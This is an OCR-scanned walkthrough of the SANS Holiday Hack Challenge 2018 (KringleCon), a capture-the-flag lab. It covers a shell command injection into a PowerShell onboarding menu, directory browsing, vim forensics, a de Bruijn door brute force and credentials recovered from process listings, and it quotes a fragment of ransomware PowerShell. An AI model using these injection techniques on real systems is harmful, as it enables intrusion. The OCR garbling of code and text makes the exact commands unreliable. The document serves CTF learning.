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Introduction

As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of
his special visitors to KringleCon.

S

Welcome, my friends! Welcome to my castle! Would you come forward please?

Welcome. It’s nice to have you here! I'm so glad you could come. This is going
to be such an exciting day!

1 hope you enjoy it. | think you will.

Today is the start of KringleCon, our new conference for cyber security
practitioners and hackers around the world.

KringleCon is designed to share tips and tricks to help leverage our skills to
make the world a better, safer place.

Remember to look around, enjoy some talks by world-class speakers, and
mingle with our other guests.

And, if you are interested in the background of this con, please check out Ed
Skoudis’ talk called

Delighted to meet you. Overjoyed! Enraptured! Entranced! Are we ready?
Yes! In we go/

~
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https://youtu.be/31JsKzsbFUo
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TL;DR Version

Question 1

What phrase is revealed when you answer all of the
? For hints on achieving this objective, please visit Bushy Evergreen and help him

with the Essential Editor Skills Cranberry Pi terminal challenge.

Answer:

Well done!

Question 2

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in
the Darkness? . For hints on achieving this objective,

please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal
challenge.

Answer:
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https://www.holidayhackchallenge.com/2018/challenges/osint_challenge_windows.html
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https://cfp.kringlecastle.com/

A ESIINT

Question 3

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously
complete their presentations. The room is protected by a door passcode. Upon entering the
correct passcode, what message is presented to the speaker? For hints on achieving this
objective please visit Tangle Coalbox and help him with the Lethal

ForensicELFication Cranberry Pi terminal challenge.

Answer:

NI=] (<1539

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them
talking with worry in their voices.

~
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https://doorpasscoden.kringlecastle.com/
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Question 4

Retrieve the encrypted ZIP file from the . What is the password to
open this file? For hints on achieving this objective, please visit Wunorse Openslae and help

him with Stall Mucking Report Cranberry Pi terminal challenge.

Answer:

Ladlies and Gentlemnen... Ladles and Gentlemen...

Due to the North Pole’s legacy of providing coal as presents
around the globe they are about to be taught a lesson in the
real use of POWER.

You will be witnesses.

Now, Santa... that's a nice suit.. John Philips, North Pole. |
have two myself. Rumor has it Alabaster buys his there.

I/ have comrades in arms around the world who are
languishing in prison. The Elvin State Department enjoys
rattling its saber for its own ends. Now it can rattle it for ME.
The following people are to be released from their capftors.

In the Dungeon for Errant Reindeer, the seven members of the
New Arietes Front.

In Whoville Prison, the imprisoned leader of ATNAS
Corporation, Miss Cindy Lou Who.

In the Land of Oz, Glinda the Good Witch.
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https://git.kringlecastle.com/Upatree/santas_castle_automation

Question 5

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a
Kerberoastable user to the Domain Admins group. What's the user’s logon name (in
username@domain.tld format)? Remember to avoid RDP as a control path as it depends on
separate local privilege escalation flaws. For hints on achieving this objective, please visit
Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

Answer:

Links. Nein! Nein! Nein!

No one is coming to help you.

Get the over here!

Schnell!

‘NOW | HAVE A ZERO-DAY. HO-HO-HO.*
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Question 6

Bypass the authentication mechanism associated with the room near Pepper Minstix.
. What is the access control number revealed by

the ? For hints on achieving this objective, please visit Pepper
Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Answer:

So, you've figured out my plan — it'’s not about
freeing those prisoners.

The toy soldiers and | are here to steal the contents

of Santa’s vault!

You think that after all my posturing, all my little
speeches, that I'm nothing but a common thief.

But, | tell you — | am an exceptional thief.

And since I've moved up to kidnapping all of you,
you should be more polite!

Question 7

Santa uses an Elf Resources website to look for talented information security

professionals. and fetch the
document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported

by the job applicant whose name begins with "K"? For hints on achieving this objective,
please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal
challenge. ;

Answer: You've done well
in foiling me!
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https://careers.kringlecastle.com/

Question 8

Santa has introduced a web-based packet capture and analysis tool to support the elves

and their information security work. Using the system, access and decrypt HTTP/2 network
activity. What is the name of the song described in the document sent from Holly Evergreen
to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and
help her with the Python Escape from LA Cranberry Pi terminal challenge.

Answer:

Question 9

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with
malware. Help Alabaster Snowball deal with the malware on Santa's server by completing
several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him
with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

To start, assist Alabaster by accessing (clicking) the snort terminal below:

Then create a rule that will catch all new infections. What is the success message displayed
by the Snort terminal?

Answer:

Thank you so much! Snort IDS is alerting on each new
ransomware infection in our network.

Hey, you're pretty good at this security stuff. Could you
help me further with what | suspect is a malicious Word
document?

All the elves were emailed a cookie recipe right before
all the infections. Take this with a password
of elves and find the domain it communicates with.
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https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip

Question 10

After completing the prior question, Alabaster gives you a document he suspects
downloads the malware. What is the domain name the malware in the document

downloads from?

Answer:

function wanc {

$51 = "1f2heBARARBABAERARIARAD36T767621
if ($null -ne ((Resolve-Dnshame -Na
if ($(netstat -ano | Select-String "
$p_k = [System.Convert]::FromBase64S
b k = ([System.Text.Encoding]: :Unic
$hk = $(B2H 3b_k)
$k_h = $(sh1 $h k)
Spk e k = (p_k e bk $p k).ToStrin
$c_id = (snd k $p_k e k)
$0_t = ((9(Get-Date).ToUniversalTing
[array]$f c = $(Get-ChildTtem *.elfd
endfbk §f c §true
(lear-variable -Name "h k"
(lear-variable -Name "b k"
$lurl = ‘http://127.0.0.1:8088/"
Shiml ¢ = @
'GET /' = $(g_o dns (A2H “source.m
'GET [close' = '¢(pyByel¢/py'}
Start-Job -ScriptBlock{

paran($url)

Start-Sleep 10

Add-type -As--

starf

DECRYPT KEY ->

Erohetfanu.com, | wonder what that means?

Unfortunately, Snort alerts show multiple domains, so blocking
that one won't be effective.

| remember another ransomware in recent history had a

killswitch

domain that when registered, would prevent any
further infections.

Perhaps there is a mechanism like that in this ransomware?
Do some more analysis and see if you can find a fatal flaw and

activate it!
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alware source code to find a kill-switch and activate it at the North Pole's
HoHoHo Daddy.

entence text that appears on the domain registration success message

Yippee-Ki-Yay! Now, | have a ma... kill-switch!

Now that we don't have to worry about new
infections, | could sure use your L337 security
skills for one last thing.

As | mentioned, | made the mistake of analyzing
the malware on my host computer and the
ransomware encrypted my password database.

Take this  with a memory dump and my
encrypted password database, and see if you can
recover my passwords.

~ .- 1. Challenge 2018 - bytenibbler m 1 E
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Question 12

After activating the kill-switch domain in the last question, Alabaster gives you = zip file with
a memory dump and encrypted password database. Use these files to decrypt Alabaster's
password database. What is the password entered in the database for the Vau/t entry?

Answer:

You have some serious skills, of that /
have no doubt.

There is just one more task | need you
to help with.

There is a door which lead’s to Santa's
vault. To unlock the door, you need to
play a melody.

Question 13

Use what you have learned from previous challenges to open the door to Santa's vauli.
What message do you get when you unlock the door?

Answer:

I'm seriously impressed by your security skills!

How could | forget that | used Rachmaninoff as
my musical password?

Of course, | transposed it before | entered it
into my database for extra security.

Challenge 2018 - bytenibbler 3 $
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https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip
https://pianolockn.kringlecastle.com/

It’s a pleasure to see you again.

Congratulations.

You DID IT! You completed the hardest challenge. You see, Hans and the
soldiers work for ME. | had to test you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear! The grand and
glorious jackpot!

You see, | finally found you!

/ came up with the idea of KringleCon to find someone like you who could
help me defend the North Pole against even the craftiest attackers.

That's why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.

| asked my friend Hans to play the role of the bad guy to see if you could
solve all those challenges and thwart the plot we devised.

And you did!

Oh, and those brutish toy soldliers? They are really just some of my elves in
disguise.

See what happens when they take off those hats?

o
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Based on your victory... next year, I'm going to ask
for your help in defending my whole operation from
evil bad guys.

And welcome to my vault room. Where's my
treasure? Well, my treasure is Christmas joy and
good will.

You did such a GREAT job! And remember what
happened to the people who suddenly got
everything they ever wanted?

They lived happily ever after.

Question 714

Who was the mastermi

If you would like to submii
SANSHolidayHackChalle

Answer:

o
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KringleCon Walkthrough

Welcome to KringleCon!

Greetings, holiday travellers! Welcome to the North Pole for KringleCon, the first-ever cyber
security conference hosted by Santa and his elves in conjunction with the SANS Holiday
Hack Challenge 2018.

As you enter the North Pole and visit Santa's castle, make sure you stop by Santa himself
along the way. After you chat with Santa inside the gate in front of the castle, your
KringleCon badge on your avatar will be populated with a series of objectives for the
Holiday Hack Challenge. Just click on your badge to see the objectives for you to achieve as
you attend KringleCon.

Also, please do keep an eye on your badge for updates on the narrative and various
happenings around Santa's castle during the con! Gosh, we are hoping for a fun event this
year without nefarious holiday capers impacting us.

Here are some tips to get you exploring:

e Bounce around the environment using the mouse or the arrow keys

e The chat bar is located on the bottom of the screen, and the pane on the right shows
messages from nearby players

Focus the chat by hitting Enter, then typing your message

Send the message by hitting Enter

Scroll the chat pane to view the latest message

Use the menu at the top right to access your profile and edit your avatar, log out, hide
the chat, or mute the music (who would ever want to do that?!)

New [Narrative] Unlocked: |

Click here to see this item in your badge.
Note: See Appendix A for full Narrative

Challenge 2018 - bytenibbler ﬁ’l
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Welcome, my friends! Welcome to my castle! Would you come
forward please?

You can't enter the
castle until you
speak to Santa!

Welcome. It’s nice to have you here! I'm so glad you could come. This
/s going to be such an exciting day!
1/ hope you enjoy it. | think you will.

Today is the start of KringleCon, our new conference for cyber security
practitioners and hackers around the world.

KringleCon is designed to share tips and tricks to help leverage our
Skills to make the world a better, safer place.

Remember to look around, enjoy some talks by world-class speakers,
and mingle with our other guests.

And, if you are interested in the background of this con, please check
out Ed Skoudis’ talk called START HERE.

Delighted to meet you. Overjoyed! Enraptured! Entranced! Are we
ready? Yes! In we go!

Oh, and as you enjoy the conference, click on your badge to see a
series of objectives for you to conquer!

New [Objective] Unlocked: 1) Orientation Challenge!
New [Objective] Unlocked: 2) Directory Browsing!
New [Objective] Unlocked: 3) de Bruijn Sequences!
New [Objective] Unlocked: 4) Data Repo Analysis!
New [Objective] Unlocked: 5) AD Privilege Discovery!
New [Objective] Unlocked: 6) Badge Manipulation!
New [Objective] Unlocked: 7) HR Incident Responsel
New [Objective] Unlocked: 8) Network Traffic Forensics!
Easter Egg: New [Objective] Unlocked: 9) Ransomware Recoveryl!

New [Objective] Unlocked: 10) Who Is Behind It All?!
Click here to see this item in your badge.

~
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After receiving your badge ‘ from Santa. You can now enter the castle and complete the
unlocked Objectives. You can also access the Narrative, the Hints from the elves, the
different Talks in Kring/leCon and your Achievements list.

< GO BACK

KringleCon © 1) Orientation Challenge

2) Directory Browsin
Narrative [1 of 12] © ) y J

Objectives @ 3) de Bruijn Sequences
Hints @ 4) pata Repo Analysis
Talks @ 5) AD Privilege Discovery

Achimemnion & 6) Badge Manipulation
bR @ 7) HR Incident Response
© 8) Network Traffic Forensics

© 9) Ransomware Recovery

& 10) who Is Behind It All?

Now that we understand the basics of the Holiday Hack Challenge. It is time to venture
inside the castle and proceed in completing the challenges that lie ahead to finally unravel
Who Is Behind It All. And most importantly, have fun!

o~ '
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Objective 1. Orientation Challenge

Difficulty: 373y

What phrase is revealed when you answer all of the questions at the KringleCon Holiday
Hack History kiosk inside the castle? For hints on achieving this objective, please visit
Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal
challenge.

The kiosk is at the right side of the staircase when you enter the castle.
Bushy Evergeen is nearby with a Cranberry Pi challenge for the hints.

Let’'s see what Bushy Evergreen has to say first. Seems like Bushy is

New [Hint] Unlocked: Vi Editor Basics!

Click here to see this item in your badge.

CO0000000000000, , 4 4 4 5 3 3 » ; 00000000000000100000C, , . .
CO0000000000000, , 4 4 4 5 3 3 » ; 000000000000001 00000C .
CO0000000000000, , 44,5 3 5 » ; 000000000000001 0000 .
CO0000000000000, , 4 4, 5 5 5 » 3 00000000000000100;
:11111171111111, ;1111311131111 1,

I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
er editor's confusing, though "best™ she says - she yells!
lesson one and your role is exit back to shellz.

Challenge 2018 - bytenibbler (U:m
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Looks like what Bushy needs to do is follow these steps:

1. Press Esc

2. Press Shift +; for a . (colon) and your cursor should jump to a colon prompt

3. Finally, enter q!
Note: This will quit the editor without saving any changes made.

Loading, please wait

ou did it! Congratulations!

e New [Achievement] Unlocked: Essential Editor!
Click here to see this item in your badge.

Bushy seems pleased that you helped with the Vi (Essential Editor) problems. As a token of
his appreciation, the elf provided information about Past Holiday Hack Challenges to help
answer the KringleCon kiosk questions for Objective 1. (2)

New [Hint] Unlocked: Past Holiday Hack Challenges!
Click here to see this item in your badge.

KringleCon Kiosk Questions

With the information from past challenges we can now answer the questions to get the
secret phrasé

Angwer af] questions correct|y
to get the Secret Phr’age!

Challenge 2018 - bytenibbler ﬁ_m E
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QueStion 1

In 2015, the Dogis siblings asked for help
understanding what piece of their "Gnome
in Your Home" toy?

Firmware
O Clothing

O Wireless adapter
O Flux capaciter

QueStion 3

In 2016, participant§ were Sent offena
preblem-elving quest based en what
artifact that Santa eft?

O Tem-tom drumg
O DNA on a mug of milk,
O Cookje crumbs

> Buginess card

Question b

In 2017, the North Pele wag beihg
bembarded by giant ebjects. What were
they?
O TCP packets

Snowballs

O Migfit toys
®) CQMJ cane§

QueStion 7

In 2015, the Degis siblings disagsembled the
congpiracy dreamt up by which
corperation?
O Elgnirk

ATNAS
O GIYH

O Savvy, Inc

Question 4

Tn 201¢, Linuy terminals at the Nerth Pele
COHM be aCCCSSC(l with what [&ih(l Of
computer?

O Snezberry Pi

O Blueberry Pi
Cranberry Pi

O Elderberry Pi

Question ¢

In 2017, Sam the Snewman needed help

reas§embling pages torn from what?
O The Bash man page
O Scrooge's payro]l [edger
O System swap space
'The Great ook,

Happy Trail§

The revealed phrase of Objective 1:

New [Achievement] Unlocked: Orientation!

Click here to see this item in your badge.

o
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Objective 2. Directory Browsing
Difficulty: *i\(***

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in
the Darkness? . For hints on achieving this objective,
please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal

challenge.

Easter Egg:
Anerkannter Sicherheitsexperte
Is German for

Recognized Security Expert

KRINGLECON CALL
FOR PAPERS
o '  CHRIS DAVIS

speakers from around the world. Apply now!
Anerkannter Sicherheitsexperte

The link appears to be the KringleCon Call For Papers application site for speakers around
the world. The objective is to identify the author of the rejected paper entitled: Data Loss for
Rainbow Teams. A Path in the Darkness? The goal now is to look for a repository of papers
either hosted/stored within the CFP site.

Minty Candycane at the left side of the entrance appears to know more about the site. Talk
to her and see what she has to offer.

New [Hint] Unlocked: SQLite3 .dump'ing!
Click here to see this item in your badge.

Challenge 2018 - bytenibbler (U:m
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https://cfp.kringlecastle.com/

Cranberry Pi Challenge — The Name Game

e just hired this new worker,
alifornian or New Yorker?
ink he's making some new toy bag...
job is to make his name tag.
olly pee, I'm glad that you came,
I recall naught but his last name!
se gur system or your own plan,
Find the first name of our guy “"Chan!"”

-Bushy Evergreen

o solve this challenge, determine the new worker®s first name and submit to runtoanswer.

SANTA'S CASTLE EMPLOYEE ONBOARDINMNG

1 to start the onboard process.
2 to verify the system.
gq to quit.

Please make a selection:

Minty suggest looking at Santa’s Castle Onboarding System to find the first name of the
employee with the last name of “Chan”and she also believes that the system is written in
Powershell and uses SQLite3 database. Maybe there is a way to verify if Sqlite3 is being
used, we know that in Powershell, there is a call operator “&” that allows you to execute a
command, script or function. (3)

Selecting option 1 brings you to an onboarding form that does not present a suitable way to
use the call operator. It does confirm that SQLite is available on the system.

Save to sglite DB using command line

Press Enter to continue...:

Challenge 2018 - bytenibbler ﬁm E
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Now try option 2. It is asking for a server address to validate the data store. Let's try using
localhost/127.0.0.7 and see what happens.

alidating data store for employee onboard information.
Enter address of server: localhost
PING localhost (127.8.8.1) 56(84) bytes of data.

4 bytes from localhost (127.8.8.1): icmp seq=1 ttl=64 time=8.846 ms
4 bytes from localhost (127.8.8.1): icmp_seqg=2 ttl-64 time=0.845 ms
4 bytes from localhost (127.8.8.1): icmp_seq=3 ttl-64 time=08.851 ms

--- localhost ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2854ms
rtt min/favg/max/mdev = 8.845/6.0847/8.851/8.886 ms

onboard.db: SQLite 3.x database

Press Enter to continue...:

This is interesting, it is a Linux ping command that ends by giving us the SQLite version
(SQLite 3.x) and the name of the database (onboard.db). Try to append the call operator “€”

to localhost with a simple /s -la”

alidating data store for employee onboard information.
Enter address of server: localhost & 1s -la

root root 4896 Dec

elf 228 Aug
root root 95 Dec
elf elf 4896 Dec

elf 4896 Dec

root root 3866 Dec
root root 24576 Dec
elf elf 655 May
- PR - Y- X root root 5547968 Dec

14
31
14
38
38
14
14
16
14

16:17 ..

2015 .bash logout
16:13 .bashrc
28:58 .cache
208:58 .local
16:13 menu.psl
16:13 onboard.db

2817 .profile
16:13 runtoanswer

4 bytes from localhost (127.8.8.1): icmp_seg=1 ttl-64 time=8.839 ms

onboard.db: SQLite 3.x database

Press Enter to continue...: 64 bytes from localhost (127.8.8.1): icmp seg=2 ttl-64 time=0.869 ms

So, the Powershell script is called menu.ps17. Doing a “& cat”on the ps1 file displays a

hidden menu option.

Option “9” that calls a
Powershell prompt.

loyee-Onboarding-Form

P2 o

fserver = Read-Host 'Enter address of server’
/bin/bash -c "/bin/ping -c 3 $server”
/bin/bash -c "/usr/bin/file onboard.db"

} o {

fusr/bin/pwsh

return

}rat {

return

} default {

Write-Host "Invalid entry.”

¥
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Use the hidden menu option to gain access to a Powershell prompt. This will give us the
chance to dump the SQLite3 database to a text file, so we can search for ‘Mr. Chan”.

Press 1 to start the onboard process.
Press 2 to verify the system.
Press g to quit.

Please make a selection: 9
erShell v6.8.3
opyright {c) Microsoft Corporation. All rights reserved.

https:f/aka.ms/pscore6-docs
ype "help' to get help.

JShome/felf>

Now dump the onboard.db to a text file using “SQLite .dump”. (4)

Shome/elf> sgqlite3 onboard.db .dump > onboard.txt

Use grep on the text file to reveal the name of ‘Mr. Chan’.

S /home/elf> cat ./onboard.txt | grep chan
INSERT INTO “onboard™ VALUES(24,'Scott’,’'Chan’, '48 Colorado Way'

33589° , "scottmchan98e67@gmail .com” ) ;

Great SCOTT!! Finally, execute the command ./runtoanswer for Minty Candycane.

PS /home/elf> ./runtoanswer
Loading, please wait

Enter Mr. Chan's first name: Scott CheCk OUtAppendi’\,B
for an alternative way to
solve this challenge

OMMMMMMMMMMMMIW: . SMMME -NMX: .

OMMMMMMMMMMMMO  OMMIWXMML TNMMNAIK

OMMMMMMMMMMMMX. . COWMN " MMMMMMM;

OMMMMMMMMMMMMMMK O, KN ,MMMMMMM,
OMMMMMMMMMMMMIENMMMO - oM, diWiMMIWOWK -
OMMMMMMMMMMMMC ... oMW1, .. .NMk. .. .oMMMMM. .
3000000000000XK 0k @X000000 Bk k000K Okodk KDOOOOOOKD!

New [Achievement] Unlocked: The Name Gamel
ToArE T Click here to see this item in your badge.
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Getting The Directory Listing

Helping Minty gives you an insight that sometimes websites have file listing enabled which
usually occurs on misconfigured websites. Finding browsable directories is sometimes as;
simple as removing characters from the end of a URL. (5)

New [Hint] Unlocked: Finding Browsable Directories!

New [Hint] Unlocked: Website Directory Browsing!
Click here to see this item in your badge.

Using the hints from Minty let us try to manipulate the URL of the CFP site by removing
cfp.htm/and see if we can get a directory listing of /cip.

[ Index of /cfp/ X .
<« - C 0

s/ /cfp.kringlecastle.com

Index of /cfp/
C'F’- html @8-Dec-2818 13:19 3391
rejected-talks.csv @8-Dec-2818 13:19 3IBETT

The Rejected Talker

Download and open the CSV file to browse through the list and search for “Data Loss for
Rainbow Teams. A Path in the Darkness’. Just use any editor you are comfortable with.

s//cfp.kringlecastle.com

talkCandidateld, request,payload, status\Enon S 1metutl Med BleNEn , et Nawed | t3AQY BslliRame , approveVotes, rejectVotes
gqmtl,e,3040422,20@,FALSE, FALSE, [ P |arkct1rg Coordinator,Ker —1 Inflo pection Spearphishing: Massively Multithre
qmt2,1,8848423,200,FALSE, FALSE) x,Event Planner,Crypto or Containers: Abused for Fun and Proft,4,8
qmt3,2,8048424,200,FALSE, FALSE, ]ahnIIIC\_lan IDlr‘cC‘tDI of Security,Data Loss for Rainbow Teams: A Path in the Darkmess,1,11
qmtd, 3,8040425,200,FALSE, FALSE,Q p,Analyst,Industrial Control Systems Content Filtering: Distributed,5,7
Aww, our good friend had his talk rejected. (By Hans, maybe?!?)

New [Achievement] Unlocked: Directory Browsing!
Click here to see this item in your badge.
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Objective 3. De Bruijn Sequences

Difficulty: Ty 7

When you break into the speaker unpreparedness room, what does Morcel Nougat say? For
hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal
ForensicELFication Cranberry Pi terminal challenge.

From the main entrance hallway, head towards the large Christmas tree and climb up the
staircase to the right. Once you reach the Tracks landing, hop your way to the right until you
see a locked door with the sign ‘Speaker UNpreparedness Room’.

S}’eaﬁef ?&N}:’Y?}’afeclness g{oom

To unlock the door, we'll need to enter the correct sequence for the Door Passcode.

lalgjojx

Talk to Tangle Coalbox and see if he can help us with the sequence to unlock the door.

Any chance you can help me with an investigation?

EIf Resources assigned me to look into a case, but it
seems to require digital forensic skills.

Do you know anything about Linux terminal editors
and djgital traces they leave behind?

Apparently, editors can leave traces of data behind,
but where and how escapes me!

New [Hint] Unlocked: Vim Artifacts!

Click here to see this item in your badge.
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hristmas is coming, and so it would seem,
ER (Elf Resources) crushes elves®' dreams.
One tells me she was disturbed by a bloke.
e tells me this must be some kind of joke.

Please do your best to determine what's real.
as this jamoke, for this elf, got some feels?

Lethal forensics ain't my cup of tea;

If YOU can fake it, my hero you'll be.

One more quick note that might help you complete,
learing this mess up that’'s now at your feet.
ertain text editors can leave some clue.

Did our young Romeo leave one for you?

- Tangle Coalbox, ER Investigator

Find the first name of the elf of whom a love poem
was written. Complete this challenge by submitting
that name to runtoanswer.

o1 f@1efb794b7d61 : ~%

4

Hmm... a poem, signed by Morcel Nougat, found in a hidden directory “.secret\her\poem.ixt
is making elves uneasy. He denies writing the poem, so Tangle is asking you to find tangible
evidence to prove his innocence. Refer to Appendix C to view the full text of the poem.

The .viminfo file is a special file used to remember information that would otherwise be lost
when exiting vim. It essentially operates like a cache file in which vim persistently stores
buffer information. (6)

21f@62d93a0d3fdf:~$ 1s -la

elf elf 4096 Dec

root root 4896 Dec .e

elf elf 419 Dec .bash_history
elf elf 228 May .bash_logout

elf elf 675 May .profile
elf elf 4896 Dec secrets
elf elf 5863 Dec .viminfo

1

1

1

1

1 elf elf 3548 Dec .bashrc

1

1

1

1 elf elf 5551872 Dec runtoanswer
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Looking inside the .viminfo file we can check the File Marks section to see the files opened
with vim. (Newest to oldest)
File marks:

'8 34 2 ~/.secrets/her/poem.txt
|4,48,34,2,1536607231, "~/ . secrets/her/poem. txt"

1 24 B8 ~/.secrets/her/poem.txt
|4,49,24,8,1536606844, "~/ . secrets/her/poem. txt"
'2 24 B8 ~f_secrets/her/poem.txt
|4,58,24,8,1536606844, "~/ . secrets/her/poem. txt"

It appears that the poem.txt was frequently opened. Take note of the long integer right next
to the poem.ixt file mark. In viminfo the number 75636607237 is an EPOCH representation of
the file mark’s date and time which is equates to 70 Sep 2078 719:30:37 UTC.

Timestamp Converter

1536607231

Is equivalent to:

Epoch Unix Time Stamp Converter:

Now correlating 75366072317 with the other fields we can immediately see that the last
Command Lineissued that correlates with the same time is “wg”which stands for Write
and Quitunder the user profile “Elinore”

e1f@336b8%a2bf16:~% ./runtoanswer
Loading, please wait......

ank you for solving this mystery, Slick.
Reading the .viminfo sure did the trick.
Leave it to me; I will handle the rest.

ank you for giving this challenge your best.

-Tangle Coalbox
-ER Investigator

ongratulations! New [Achievement] Unlocked: Lethal ForensicELFication!
Click here to see this item in your badge.
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Door Passcode

The funny shapes reminded Tangle of the “de Bruijn Sequences”. |t is a sequence that vastly
reduces the time it takes to brute force every possible sequence on the door code. (7)

New [Hint] Unlocked: Opening a Ford Lock Codel
Click here to see this item in your badge.

Using the de Buijn sequence formula on the door code, generate a sequence for the four
unique shapes 4”“with the length of four combinations 7” Formula k%n= 44 = 256

New [Hint] Unlocked: de Bruijn Sequence Generatorl
Click here to see this item in your badge.

Sequence:

10002000300110012001300210022002300310032003301010201030111011201130
121012201230131013201330202030211021202130221022202230231023202330303110
312031303210322032303310332033311112111311221123113211331212131222122312
3212331313221323133213332222322332323333(000)

Starting at ... follow the sequence order by clicking the corresponding shapes on the
door code.

Example: =AAAA (Click Afour times)
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New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

| have comrades in arms around the world who are
languishing in prison. The Elvin State Department enjoys
rattling its saber for its own ends. Now it can rattle it for
ME. The following people are to be released from their
captors. Seven members of the the New Arietes Font,
Miss Cindy Lou Who and Glinda the Good Witch.

The castle is suddenly on lockdown and Hans appears to be the mastermind. Now enter the
Speaker UNpreparedness Room and speak to Morcel Nougatto find what is going on.

Answer the “de Bruijn Sequences”objective with:

New [Achievement] Unlocked: de Bruijn Sequencesl!
Click here to see this item in your badge.

Challenge 2018 - bytenibbler . (5—?!

COUNTER

MALIK



Objective 4. Data Repo Analysis

Difficulty: kY 7

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to
open this file? For hints on achieving this objective, please visit Wunorse Openslae and help
him with Stall Mucking Report Cranberry Pi terminal challenge.

«» Shinny Upatree f santas_castle = .

T AN AN & hiips//gitkringlecastle.com
& GitLab Projects Groups  Smippets  Help Search or jJump to... Q

Shinny Upatree > santas_castle_automation » Details

S santas_castle_autom...

£ Project s santas_castle_automation @ pubiic ® LICENSE
Project ID: 15

Details

Activity 0 1 Star HTTPS =  https://fgit.kringlecast] ]

O Issues 0 master santas_castle_automation History Q Findfile & -

The link leads you to a project in GitLab called santas_castle_automation. We'll need to look
for an encrypted ZIP file and look for a password to open this file. Find the elf Wunorse
Openslaeinside the castle to get hints for this challenge. Head back down to the main
entrance and hop past Bushy Evergreen and the KringleCon Swag Boothto meet up with
Wunorse.

Hi, I'm Wunorse Openslae
What was that password?

Golly, passwords may be the end of all of us. Good
guys can't remember them, and bad guess can
guess them!

1/'ve got to upload my chore report to my managers
inbox, but | can't remember my password

New [Hint] Unlocked: Plaintext Credentials in Commands!
Click here to see this item in your badge.
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https://git.kringlecastle.com/Upatree/santas_castle_automation

HOKK
JOOKX JOUKX
RECOOOOK XK
COOOOCOOCCOCCOOO0OCCOCOOO0KX
POOCCOCOOO0OOCOO0O
KNIWIIN NXCCOOOOOCCKNNWIWN
(WPMMMMMMICCOOCOCOC WMMMMMMN
WMMMMMMMMISOOCOOMWMMMMMMMMEILL
NMMMMMMMMMULECOCOMMMMMMMMMIDOCK
OXCCCKNMMMMMMMMMMDOCOCCNMMMMMMMMMILOO0C
FOCOONMMMMX ] © dWWDOOONMX : dWMMMILOOCK
POCCOCINMMMo KNXOOOKKXNO  KMMMMROOCOOK
SOCCOOCKNIMMB I NEOOOCOOCKNB ICXMMIWNDCOO0CK
OOCCOOOOOMNNNNOCCKR X KOCCOM NNNXOOCOOOOOK
020000000000
OCCOOOOO00OCOOMX . CHOOCOOCOOOO0CK
HOCCOO0O0000C00CN 1 TIOCOOCCOOCO00000K
ROCOOOOOOOOCCOCCOOOOOOCOCCOOOON00O0K

DOOOOCOOCOOCCOOOOOCCOCOOO0OMXXK

hank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
report is now due or my KRINGLE's in a sling!

here’s a samba share here on this terminal screen.

hat I normally do is to upload the file,

ith our network credentials (we'wve shared for a while).
hen I try to remember, my memory's clean!

Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.

ould there be buried hints or some way to contort,
aining access - oh please now do give it your best!

-Wunorse Openslae

Wunorse has forgotten the shared credentials for the samba share on this terminal. He
hinted that there were automated tasks for the upload. If the script is still running, maybe
the entire command might still be visible and expose passwords in clear text. (8)
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CMD
/binfbash /sbin/init

sudo -u manager /home/manager/samba-wrapper.sh --v
sudo -E -u manager fusr/bin/python /home/manager/r
sudo -u elf /bin/bash

/binfbash /home/manager/samba-wrapper.sh --verbosi
fusr/bin/python fhome/manager/report-check.py
/bin/bash

fusr/sbin/smbd

Jfusr/sbin/smbd

fusr/sbin/smbd

fusr/sbin/smbd

sleep 68

ps -ef

anager
a1
el f@e193d2abaabh :~$

3888383838888
gees383838883
2828388838888

e The elfuser is just our current bash shell and ps command

e Inspecting the manageruser shows that it is running a samba-wrapper.sh and report-
check.py using the manager profile which we do not have permission to view

e Interestingly, the root user is also running several processes for the elf and manager
UID. Focusing on the time, it appears that they all started at the same time when the
session began which indicates that this can be part of /sbin/init. (the grandparent of
all the processes) Let’s check it out...

e1f@e193d2abaasb:~$% cat fsbin/init
#! /bin/bash

echo "$(date)” >> /home/elf/report.ixt

(nohup sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --ex

raneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d"~" --ignore-sw-holid
ay-special --suppress --suppress [/flocalhost/report-upload/ directreindeerflatterystable -U report
-upload 2>/dev/null &)

sudo -E -u manager fusr/bin/python /home/manager/report-check.py 2>/dev/null &

(nohup fusr/sbin/smbd >/dev/null 2>/dev/null & disown)
echo 127.8.8.1 “cat fetc/hostname™ >»> fetc/hosts

sudo -u elf /bin/bash

Great, now we know how the date gets appended to report.txt. A NOHUP (no hang up) sudo
command to run the samba-wrapper.sh as manager which also shows an interesting
argument called “//localhost/report-upload/ directreindeerfiatterystable -U report-upload”
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That looks like Wunorse's forgotten password. Let us use “directreindeerfiatterystable‘and
try to connect using smbclient.

e1f@899aff462c88:~% smbclient //localhost/report-upload directreindeerflatterystable -U report-upl

